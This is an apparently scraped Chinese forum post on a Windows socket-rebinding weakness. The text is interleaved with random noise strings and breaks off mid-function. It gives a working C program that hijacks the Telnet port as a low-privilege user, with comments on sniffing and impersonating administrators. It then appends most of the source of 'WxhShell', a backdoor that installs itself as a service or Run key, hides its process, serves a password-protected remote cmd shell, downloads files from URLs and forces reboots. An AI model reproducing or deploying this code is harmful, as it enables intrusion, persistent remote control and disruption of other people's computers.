在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
q?oP?cCw s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
}{qZ[/JwqN k,E{C{^M saddr.sin_family = AF_INET;
)=Z>#iH1 @6F#rz saddr.sin_addr.s_addr = htonl(INADDR_ANY);
N~d ?WD\^ ceh j; bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
"9P>a=Y _jI,)sr4ic 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
AOWmzu{zw zRl3KjET 这意味着什么?意味着可以进行如下的攻击:
:W:K:lk lhz{1P]s 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
qL&[K>2z EC6DW= 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
DV+xg3\(>1 ox>^>wR* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
.TMs bZ|j ^aMg/.j 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
5uNJx5g YX7L?=;.@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
*:YiimOY" C'+YQ]u 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
EXwo,?I WJndoB.f[2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
udF~5w
H /-ch`u md #include
/vde2.| #include
w%VU/6~ #include
HU}7zK2 #include
_ Yx]_Y9I DWORD WINAPI ClientThread(LPVOID lpParam);
YTX,cj#D^& int main()
kg~mgMR+w {
L9\1+rq WORD wVersionRequested;
@ ZwvBH DWORD ret;
G5RR]?@6V WSADATA wsaData;
Zq|I,l0+E BOOL val;
t#/YN.@r SOCKADDR_IN saddr;
eV"h0_ox SOCKADDR_IN scaddr;
VT%NO'0 int err;
/W30~y SOCKET s;
?)?Ng} SOCKET sc;
;|5F[ int caddsize;
zh`<WN&H HANDLE mt;
wj<6kG DWORD tid;
Eh;'S"{/?j wVersionRequested = MAKEWORD( 2, 2 );
=Z3 F1Cq? err = WSAStartup( wVersionRequested, &wsaData );
fue(UMF~ if ( err != 0 ) {
Sh~dwxp*" printf("error!WSAStartup failed!\n");
}6}l7x return -1;
r
CHl?J }
)!Z*.? saddr.sin_family = AF_INET;
-M~:lK]n dulI&_x //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
GR.^glG?6 kr5">"7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
}b"yU#`Q\ saddr.sin_port = htons(23);
He/8=$c% if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qu6D 5t {
7qLpZ/ printf("error!socket failed!\n");
C12Fl return -1;
Nw/ ku }
PbgP\JeX val = TRUE;
"f2$w //SO_REUSEADDR选项就是可以实现端口重绑定的
}J`w4P if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Lpz>>} {
4 Y9`IgQ printf("error!setsockopt failed!\n");
R)(T^V`{ return -1;
V)-+Fd,= }
7P5)Z-K[ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4qh?,^Dq //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
=^f<v_L //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
sPQQ"|wU $}q23 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
\?ZB]*Fu {
x8\?}UnB ret=GetLastError();
S9D<8j^ printf("error!bind failed!\n");
YQ)kRhFA return -1;
Uh4%}-; }
Jk11fn;\> listen(s,2);
f=Gg9bnm3 while(1)
xY8$I6 {
vY}g<* caddsize = sizeof(scaddr);
{n.PF8A5X //接受连接请求
ww3-^v sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
NC`aP0S if(sc!=INVALID_SOCKET)
|?xN\O^#} {
zOIDU mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]t,BMu=% if(mt==NULL)
cN6X#D {
uc\Kg1{ printf("Thread Creat Failed!\n");
(vnAbR#e break;
CL;}IBd a }
_p/UsJ }
Tc:)-
z[o CloseHandle(mt);
mh#a#< }
mb3"U"ohs closesocket(s);
IGQFtO/x WSACleanup();
yNo0ubY return 0;
>J?fl8 }
`r':by0M DWORD WINAPI ClientThread(LPVOID lpParam)
[Ek7b* {
QXFo1m SOCKET ss = (SOCKET)lpParam;
$G+@_' SOCKET sc;
D%Sl AzZ3 unsigned char buf[4096];
k FD;i SOCKADDR_IN saddr;
~<5!?6Yt long num;
1#2 I DWORD val;
@%uUiP0 DWORD ret;
U&OJXJdj //如果是隐藏端口应用的话,可以在此处加一些判断
T2W eE@o //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
g2ixx+`?|: saddr.sin_family = AF_INET;
,V m
< rK saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
hH3RP{'= saddr.sin_port = htons(23);
{9pZ)tB if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
c_pr {
UHkMn printf("error!socket failed!\n");
N!=v4f return -1;
Lv7(st%` }
3M7/?TMw{6 val = 100;
QO~P7r|A if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2- h{N {
q:0N<$63 ret = GetLastError();
783,s_ return -1;
>\#*P'y`d }
Eyqa?$R if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
C2I_%nU Z1 {
p%Vt#?q ret = GetLastError();
&`r-.&Y return -1;
LA5(sp@O }
0i>5<ej,f if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
k%#EEMh {
"Gzz4D printf("error!socket connect failed!\n");
lgy<?LI\ closesocket(sc);
@Uvz8*b6 closesocket(ss);
tSUEZ62EY return -1;
Y\P8v }
'GWN~5 while(1)
|aS.a&vwR {
,/2Vt/lt //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
RSRS wkC //如果是嗅探内容的话,可以再此处进行内容分析和记录
{\1?ZrCI& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\?-<4Bc@ num = recv(ss,buf,4096,0);
!>o7a}? if(num>0)
T3<4B!UB& send(sc,buf,num,0);
'<)n8{3Q5w else if(num==0)
.2t4tb(SUw break;
L`TLgH&?R num = recv(sc,buf,4096,0);
U'_Q>k if(num>0)
&
J'idYD send(ss,buf,num,0);
3;9^ else if(num==0)
WE#^a6 break;
V2EUW!gn
2 }
f'RX6$}\1X closesocket(ss);
>uRI'24 closesocket(sc);
'JE`(xD return 0 ;
\*?~Yj# }
Ic<2QknmP Wvh#:Z _4~+{l+ ==========================================================
Q3~H{)[Kq a58H9w"u) 下边附上一个代码,,WXhSHELL
fTec 9W5lSX#^; ==========================================================
*N<]Xy@ WpP}stam/ #include "stdafx.h"
V f&zL
Sgr FD
#8mg #include <stdio.h>
O0v}43J[ #include <string.h>
F/{!tx #include <windows.h>
b8t7u #include <winsock2.h>
qe#tj/aZ #include <winsvc.h>
RtS+<^2a; #include <urlmon.h>
? OM!+O 1CZgb #pragma comment (lib, "Ws2_32.lib")
T7%S
#0,p #pragma comment (lib, "urlmon.lib")
6d}lw6L /{_:{G!Q0 #define MAX_USER 100 // 最大客户端连接数
V}CG:9; #define BUF_SOCK 200 // sock buffer
cuITY^6 #define KEY_BUFF 255 // 输入 buffer
K69'6?# h438` #define REBOOT 0 // 重启
mq.`X:e #define SHUTDOWN 1 // 关机
FVKTbvYn dZ@63a>>@ #define DEF_PORT 5000 // 监听端口
{JT&w6Jz +O{*M9B #define REG_LEN 16 // 注册表键长度
Zu[su>\ #define SVC_LEN 80 // NT服务名长度
_V6ukd"B~ b8UO,fY q // 从dll定义API
#c!lS<z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Lk8ek}o' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
$6 f3F?y7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
cm+Es6; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
TD0
B% Wac&b // wxhshell配置信息
XpHrt XD struct WSCFG {
va@Lz&sAE% int ws_port; // 监听端口
k4J+J.| char ws_passstr[REG_LEN]; // 口令
!F$6-0% int ws_autoins; // 安装标记, 1=yes 0=no
gwMNYMI char ws_regname[REG_LEN]; // 注册表键名
SqpaFWr char ws_svcname[REG_LEN]; // 服务名
=:pJ char ws_svcdisp[SVC_LEN]; // 服务显示名
8nV+e~-w char ws_svcdesc[SVC_LEN]; // 服务描述信息
"!^"[mX4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
CA~-rv int ws_downexe; // 下载执行标记, 1=yes 0=no
?6U0PChy char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
R-$!9mnr char ws_filenam[SVC_LEN]; // 下载后保存的文件名
g) jYFfGfH chX"O0?" };
}Sv:`9= T0)@pt7> // default Wxhshell configuration
#\OA )`U struct WSCFG wscfg={DEF_PORT,
~f98#43 "xuhuanlingzhe",
usF.bkTp 1,
8l`*]1.W< "Wxhshell",
#*Ctwl,T "Wxhshell",
3s#N2X;Bc "WxhShell Service",
y<Ot)fa$ "Wrsky Windows CmdShell Service",
F]&*ow "Please Input Your Password: ",
57c8xk[.2 1,
q/,O\, "
http://www.wrsky.com/wxhshell.exe",
g($2Dk_F2 "Wxhshell.exe"
NBGH_6DROw };
e\L8oOk#r YOO+R{4( // 消息定义模块
?e 4/p char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5\nAeP char *msg_ws_prompt="\n\r? for help\n\r#>";
\4fQMG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
/\n-P'} char *msg_ws_ext="\n\rExit.";
j\M?~=*w char *msg_ws_end="\n\rQuit.";
?=Kduef char *msg_ws_boot="\n\rReboot...";
L!xi char *msg_ws_poff="\n\rShutdown...";
iXjM.G char *msg_ws_down="\n\rSave to ";
?Ir:g=RP* #ABZ&Z char *msg_ws_err="\n\rErr!";
tR$NRMZ. char *msg_ws_ok="\n\rOK!";
i/Zd8+.n$ -iZ`Y? char ExeFile[MAX_PATH];
3Y$GsN4ln int nUser = 0;
#H~64/ HANDLE handles[MAX_USER];
~t~|"u"P int OsIsNt;
;2QP7PrSY K-Ef%a2#` SERVICE_STATUS serviceStatus;
]Y&VT7+Z SERVICE_STATUS_HANDLE hServiceStatusHandle;
;$g?T~v7 V'gh6`v // 函数声明
5{,<j\#L int Install(void);
W"{N Bi int Uninstall(void);
8quaXVj^a int DownloadFile(char *sURL, SOCKET wsh);
!4+<<(B=E int Boot(int flag);
ox.F%)eQ void HideProc(void);
OjA,]Gv6 int GetOsVer(void);
CqC`8fD1 int Wxhshell(SOCKET wsl);
9\(|
D# void TalkWithClient(void *cs);
Q3?F(ER@ int CmdShell(SOCKET sock);
Q"#J6@ int StartFromService(void);
}jPSUdo int StartWxhshell(LPSTR lpCmdLine);
X:{!n({r= @H8EWTZ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
-KbYOb VOID WINAPI NTServiceHandler( DWORD fdwControl );
!&E-}}< :ShT|n7 // 数据结构和表定义
jPkn[W#
6 SERVICE_TABLE_ENTRY DispatchTable[] =
aN3;`~{9 {
?a]mDx>xh {wscfg.ws_svcname, NTServiceMain},
BiBOr}ZQ {NULL, NULL}
9Mcae31 };
_yR^*}xJb K3uRs{l| // 自我安装
R4d=S4i int Install(void)
a 1*p*dM# {
S+lqA-: char svExeFile[MAX_PATH];
"0TZTa1e HKEY key;
Iq.*8Oc strcpy(svExeFile,ExeFile);
tZo} ;|~' u ^RxD^=L // 如果是win9x系统,修改注册表设为自启动
BY*8ri^u if(!OsIsNt) {
#g!.T g' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
alb.g>LNPP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
TA~{1_l RegCloseKey(key);
`Q,H|hp;k; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*VN6cSq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
a8Wwq?@ RegCloseKey(key);
aw> #P return 0;
_o~nr]zx }
8q7b_Pq1U }
<gBA1oRz }
<OPArht else {
L}NSR }<:}XlwT% // 如果是NT以上系统,安装为系统服务
/qw.p# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
QS`] if (schSCManager!=0)
1h5 Akq {
vZ Lf SC_HANDLE schService = CreateService
}(u
ol (
e96k{C`j0 schSCManager,
&cTU
sK wscfg.ws_svcname,
FVBYo%Ap wscfg.ws_svcdisp,
}ad|g6i` SERVICE_ALL_ACCESS,
ovV'VcUs SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
R G`1en SERVICE_AUTO_START,
=g|FT SERVICE_ERROR_NORMAL,
=tY T8Q;al svExeFile,
|Q>IrT NULL,
9&NgtZpt NULL,
>LuYHr NULL,
#_ lDss NULL,
e>7i_4(C NULL
4KrL{Z+} );
u#SWj,X if (schService!=0)
3+bt~J0 {
Aiea\jBv CloseServiceHandle(schService);
t#"Grk8Mz& CloseServiceHandle(schSCManager);
{l>hMxij strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
<54
S strcat(svExeFile,wscfg.ws_svcname);
Y6d@h? ht if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
vr^qWn RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Du){rVY^d RegCloseKey(key);
sx<%2 return 0;
%~S&AE- }
DlNX 3 }
igAtRX%Qx CloseServiceHandle(schSCManager);
_J [P[(ab }
xkR0 }
GuL<Z1<c >F&47Yn return 1;
Sa5G.^XI }
)\^-2[; `@s^(hc7i // 自我卸载
X\F|Tk3_ int Uninstall(void)
5/z/>D; {
=nHgDrA_ HKEY key;
gPc=2 t&DEb_"De if(!OsIsNt) {
Ti&z1_u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8HdAFRw RegDeleteValue(key,wscfg.ws_regname);
-|\ZrE_h RegCloseKey(key);
^sg,\zD 'X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
C"enpc_C/ RegDeleteValue(key,wscfg.ws_regname);
W*w3[_"sr RegCloseKey(key);
tklH@'q return 0;
\D&KC,i5f }
/H+a0`/ }
C{wEzM: }
M&
CqSd else {
\5cpFj5% }4S6Xe SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
;6hOx(>`= if (schSCManager!=0)
2)~> R {
1@=po)Hnp SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
!5?<% * if (schService!=0)
uRe'%?W {
da~],MN if(DeleteService(schService)!=0) {
&G$Ucc
` CloseServiceHandle(schService);
KCDE{za CloseServiceHandle(schSCManager);
P
L+sR3bR return 0;
s&J]zb` }
R_xRp&5 CloseServiceHandle(schService);
.w,q0<} }
HE_8(Ms;8 CloseServiceHandle(schSCManager);
9Lfv^V0 }
5ms(Wd }
G 9vpt M G9@0@2aY8 return 1;
@AuO`I@p= }
?b5^ e<q?e}>? // 从指定url下载文件
eKqk= ( int DownloadFile(char *sURL, SOCKET wsh)
$xdy& {
eQvg7aO; HRESULT hr;
w:l
V"]1 char seps[]= "/";
5QO9Q]I#_\ char *token;
Jqi%|,/] N char *file;
-C&P%tt Y char myURL[MAX_PATH];
vgN&K@hJ char myFILE[MAX_PATH];
!FF U=f @!d{bQd, strcpy(myURL,sURL);
1ZB"EQ token=strtok(myURL,seps);
_8agtQ:< while(token!=NULL)
$]2vvr {
:S(ZzY
Q file=token;
"G9xMffW token=strtok(NULL,seps);
?#Q #u|~ }
F^fdIZx 2T[9f;jM' GetCurrentDirectory(MAX_PATH,myFILE);
$a ` G strcat(myFILE, "\\");
<yg F( strcat(myFILE, file);
&XUiKnNW send(wsh,myFILE,strlen(myFILE),0);
Yp2e Bgo" send(wsh,"...",3,0);
>~+ELVB& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
L\z~uo3: if(hr==S_OK)
K)k<Rh[< return 0;
VTHH&$ZNq else
wJY' return 1;
n>U5R_T 2jCf T>`3 }
KdbHyg<4 H~z`]5CN // 系统电源模块
mXfXO*Cnp int Boot(int flag)
VBcPu {
QUQ'3 HANDLE hToken;
`,*5wBC TOKEN_PRIVILEGES tkp;
1D!<'`)AY #
c^z&0B} if(OsIsNt) {
LvYB7<zk> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
~2khgZ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
@>H75 tkp.PrivilegeCount = 1;
,UdVNA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
4x[S\,20 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
!brf(-sr) if(flag==REBOOT) {
ZO$%[ftb if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
jdJ>9O0A, return 0;
R]*K:~DM }
SGlNKA},A else {
KL Xq\{X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
[0D.K}7| return 0;
ijx0gh`~ }
0>Z_*U~6 }
*%@h(js else {
=+d?x56 if(flag==REBOOT) {
2*#|Nj=^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
4d;8`66O return 0;
gEE\y{y }
Qv/=&_6 else {
*<ewS8f*6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*$ %a:q1U return 0;
XACm[NY_ }
]- QA'Lq }
,:\|7 F TT3|/zwn return 1;
\d$!a5LF} }
G+|` 2an _n>,!vH // win9x进程隐藏模块
AbmAKA@ void HideProc(void)
EG |A_m85 {
wz ~d(a# PBkt~=j HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,{?%m6.lE if ( hKernel != NULL )
}Y36C.@H {
[87,s.MK pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!ff&W1@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
$(>+VH`l FreeLibrary(hKernel);
RF0HjgP }
,',o'2=! #],&>n7' return;
{o`]I>gb }
d <JM36j? :1KpGj*F // 获取操作系统版本
(,Df^4%7 int GetOsVer(void)
<
F+l {
C/6V9;U OSVERSIONINFO winfo;
:'*~uJrR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
3y8G?LL/[7 GetVersionEx(&winfo);
9\JF`ff_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
q;>7*Y& return 1;
(+y else
.z}~4BY return 0;
K~ehP[^ }
P;]F(in= F;0}x;:> // 客户端句柄模块
s>n)B^64W int Wxhshell(SOCKET wsl)
Ng>h"H {
dQR-H7U SOCKET wsh;
%UCr;H/ struct sockaddr_in client;
oWo-
j< DWORD myID;
|R\>@Mg#B :$BCRQ while(nUser<MAX_USER)
um>6z_" {
^\&e:Nkh int nSize=sizeof(client);
!9P';p}2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
2JcjZn if(wsh==INVALID_SOCKET) return 1;
7CTFOAx# |3yL&" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
oJ|j#+Ft if(handles[nUser]==0)
SPmq4 closesocket(wsh);
a8Nh=^Py else
mmRJ9OhS nUser++;
=k`Cr0aPF }
uw+M WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Qe0lBR?H ocS5SB]8 return 0;
\<TXS)w] }
G..aiA 0o*8#i/)!3 // 关闭 socket
6- B|Y3)B void CloseIt(SOCKET wsh)
):_\;.L {
_1 !OlQ closesocket(wsh);
HLaRGN3, nUser--;
(7=!+'T" ExitThread(0);
RxWVe-Dg }
/9pwZ%:< !fR3(=oN // 客户端请求句柄
+8d1|cB" void TalkWithClient(void *cs)
vbe|hO"" {
6?~"V :~N-.# SOCKET wsh=(SOCKET)cs;
zz4N5[" char pwd[SVC_LEN];
!sW(wAy?o char cmd[KEY_BUFF];
OL,TFLn4 char chr[1];
Ayw ;N int i,j;
\k!{uRy' q0R -7O( while (nUser < MAX_USER) {
n!xt5=xP{ jeH~<t{ if(wscfg.ws_passstr) {
OGg># vj,s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=Bhe'.]QSx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-^h' >. //ZeroMemory(pwd,KEY_BUFF);
EZ$>.iy{ i=0;
={d>iB yq while(i<SVC_LEN) {
|\IN.W[EL xQXXC|T // 设置超时
"x*egI fd_set FdRead;
sjwo/+2 struct timeval TimeOut;
}Nm#q@o$P FD_ZERO(&FdRead);
m\r@@! FD_SET(wsh,&FdRead);
WR yaKM TimeOut.tv_sec=8;
?+W9az]+ TimeOut.tv_usec=0;
vyX\'r.~7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
';jYOVe if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
>TnTnF WX 7k9G(i[-+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
3|4|*6 pwd
=chr[0]; VE{3} S
if(chr[0]==0xd || chr[0]==0xa) { EGzzHIZ`!
pwd=0; (b~T]3Es
break; 6ZG+ZHUC&
} QaS7z#/?.
i++; h
WtVWVNL
} 2ZMb<b4H
eWtZ]kB
// 如果是非法用户,关闭 socket T| V:$D'
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IsM}'.
} ]#l/2V1
o(LFh[
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PHXZ=A+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &cHV7
o9%)D<4M
while(1) { bM!_e3ik;
w2Jf^pR
ZeroMemory(cmd,KEY_BUFF); iAa.}CI,zB
gVv>9W('
// 自动支持客户端 telnet标准 SmdjyK1~8
j=0; =`:K{loxq
while(j<KEY_BUFF) { UA8GL D9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3U.88{y
cmd[j]=chr[0]; &U
raUl
if(chr[0]==0xa || chr[0]==0xd) { P&)xz7wG
cmd[j]=0; 1H@>/QC
break; +"cq(Y@
} (k) l=]`}
j++; 6) -X
} 57zSu3v4Y
[los dnH^?
// 下载文件 -o[x2u~n\
if(strstr(cmd,"http://")) { =;3Sx::=
send(wsh,msg_ws_down,strlen(msg_ws_down),0); wrbLDod /
if(DownloadFile(cmd,wsh)) Z&4&-RCi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WDc+6/<
else EQ`(yj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {G}.b)9FG
} 36%nB*
else { xtE_=5$~
!?p%xj?
switch(cmd[0]) { ujaGNg?,
!2A:"2Kys:
// 帮助 +!z{5:
case '?': { RIXMJ7e7
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RHq/JD-
break; lB4GU y$
} RwPN gRF
// 安装 QM
O!v;
case 'i': { X1Ac*oLN
if(Install()) oCi=4#g%7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7_Z#m (
else F\AX:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 04'~ta(t
break; 'wI"Bo6e
} ll6wpV0m
// 卸载 7,|c
case 'r': { OQT;zqup
if(Uninstall()) Fpa;^F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jm0- y%
else P%=#^T&`}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '0uhD.|G
break; !z<%GQ CT
} 9C[ywp
// 显示 wxhshell 所在路径 lR[qqFR
case 'p': { =%gRW5R%
char svExeFile[MAX_PATH]; bQP{|
strcpy(svExeFile,"\n\r"); ->O2I?
strcat(svExeFile,ExeFile); W#BM(I
send(wsh,svExeFile,strlen(svExeFile),0); x~{;TZa[I
break; J6%AH?Mt
} O.Iu6D
// 重启 PSVc+s[Q+V
case 'b': { `v}%33$hA
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s#DaKPC
if(Boot(REBOOT)) L19C<5>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Au _U
else { [y)`k@
closesocket(wsh); 1Q4}'0U4
ExitThread(0); $Y_i4(
} )h|gwERj
break; {]_r W/
} N:tY":Hi
// 关机 X
9%'|(tL
case 'd': { w@c87;c
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |-
rI@2`
if(Boot(SHUTDOWN)) ,^ WJm?R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >O?U=OeD
else { J?}WQLVP'
closesocket(wsh); i|}[A
ExitThread(0); psC
mbN
} !]fQ+ *X0g
break; q7Dw_<
} RE=+Dz{
// 获取shell S.Ma$KL~'^
case 's': { OY5OJ*
CmdShell(wsh); Wg0g/
closesocket(wsh); C2xL1`
ExitThread(0); )+"'oY$]}
break; |t)}VM%
} eKz?"g/j
// 退出 iNWo"=J
case 'x': { \uq/x^?yo
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !$Tw^$n
CloseIt(wsh); ,4,V4 N
break; 0}FOV`n
} /43-;"%>
// 离开 "+
>SJ~
case 'q': { ,H2D
send(wsh,msg_ws_end,strlen(msg_ws_end),0); f{i8w!O"~
closesocket(wsh); UH>F|3"d
WSACleanup(); a/U2xq{x
exit(1); M$d%p6Cv
break; G4;3cT3'
} aKlUX
} ;?~$h-9)
} 1q3(
@D5~+
wwoweztER
// 提示信息
-0Tnh;&=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M- 2Tz[
} ls `,EFF
} +|{RE.DL
#E+gXan
return; o|iYd
n\
} c8M2 ^{O,`
.R8 HZ}3
// shell模块句柄 $DC*i-}qFg
int CmdShell(SOCKET sock) iy\nio`
{ st&
STARTUPINFO si; 2Nm>5l
ZeroMemory(&si,sizeof(si)); kctzNGF|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^(f4*m6`
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L0]_hxE?
PROCESS_INFORMATION ProcessInfo; @a>2c$%
char cmdline[]="cmd"; GF:`>u{C
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6PF8
/@Nh
return 0; qG/fE'(j&
} ?$Wn!"EC8
Z!&Rr~i
<
// 自身启动模式 m8JR@!t7
int StartFromService(void) Ty@=yA17
{ ,j ',x\
typedef struct ).HDru-2
{ \[>9UC%
DWORD ExitStatus; %|l8f>3[
DWORD PebBaseAddress; %q322->Z
DWORD AffinityMask; hv$m4,0WB
DWORD BasePriority; H,<7G;FPT
